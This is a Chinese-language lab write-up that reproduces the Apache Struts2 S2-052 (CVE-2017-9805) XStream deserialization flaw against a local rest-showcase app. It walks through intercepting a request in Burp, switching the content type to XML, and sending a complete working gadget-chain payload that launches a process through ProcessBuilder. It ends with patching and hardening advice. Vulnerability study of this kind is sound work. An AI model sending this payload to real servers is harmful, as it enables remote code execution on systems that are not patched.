[关闭]
@websec007 2017-09-06T09:49:27.000000Z 字数 3390 阅读 2027

S2-052 过程漏洞复现

Java类漏洞学习


一、漏洞描述

2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

二、漏洞风险

Struts2 REST 插件使用带有 XStream 程序的 XStream Handler 进行未经任何代码过滤的反序列化操作,这可能在反序列化XML payloads时导致远程代码执行,任意攻击者都可以构造恶意的XML内容提升权限

三、影响版本

Struts 2.5 – Struts 2.5.12 ,据称还影响到 2.3.33 版本。

四、漏洞过程复现

4.1 tomcat环境准备

可以直接安装一个XAMPP套件,其默认就带有tomcat的支持,可以直接拿来进行struts环境的部署。

Markdown

Markdown

4.2 漏洞环境包下载

漏洞环境我们直接使用struts2.5.12包中的样例包搭建,我们直接下载 struts-2.5.12-apps.zip 包即可(20M大小,方便),无需下载struts-2.5.12-all.zip。

下载链接:http://mirror.bit.edu.cn/apache/struts/2.5.12/

4.2 部署struts2-rest-showcase.war

我解压struts-2.5.12-apps.zip压缩包,找到apps目录,期中有两个样例的war包,我直接提取出struts2-rest-showcase.war,然后将其放到tomcat的webapp根目录下,然后我们重启tomcat服务,随后会发现struts2-rest-showcase.war会自动部署完成。

4.3 漏洞POC复现

4.3.1 rest-showcase样例访问

我们直接访问http://127.0.0.1:8080/struts2-rest-showcase即可跳转到如下所示的界面。

4.3.2 使用抓包工具抓包

我们打开burpsuite抓包工具,开启浏览器代理设置。随后我们访问样例页面,首先点击Edit,然后进入到一个表单数据提交页面,我们主要是抓取此表单内容提交的数据(post数据),抓取到的post包内容截图如下。

4.3.3 改报发送poc,验证复现漏洞

在抓取到post提交数据保护后,我们需要修改两个内容。

(1)第一步:修改数据应用类型

首先修改数据包头中数据的类型,即修改默认的类型x-www-form-urlencodedxml

(2)第二步:替换post提交数据内容为以下POC内容。

  1. <map>
  2. <entry>
  3. <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  4. </entry>
  5. </map>

(3) 漏洞成功复现

注意:很多小伙伴可能遇到与我一样的问题,就是网上放出的POC有个坑,就是调用计算器的MACOS机器的默认路径,我们这里直接将其/Applications/Calculator.app/Contents/MacOS/Calculator修改为calc.exe即可跳过这个坑了。

五、漏洞修复建议

目前尚无完美解决方案,想加固建议如下:
(1) 建议尽快升级到 2.5.13或 Struts 2.3.34版本,具体版本相关参考文档链接整理如下:
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.13
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.34
(2)在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:
(3)限制服务器端扩展类型,删除XML支持。

学习参考
https://cwiki.apache.org/confluence/display/WW/S2-052
https://mp.weixin.qq.com/s/PedD0NG2KLAKWbupzU8lrw
https://github.com/jas502n/St2-052
https://bbs.ichunqiu.com/thread-26789-1-1.html

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注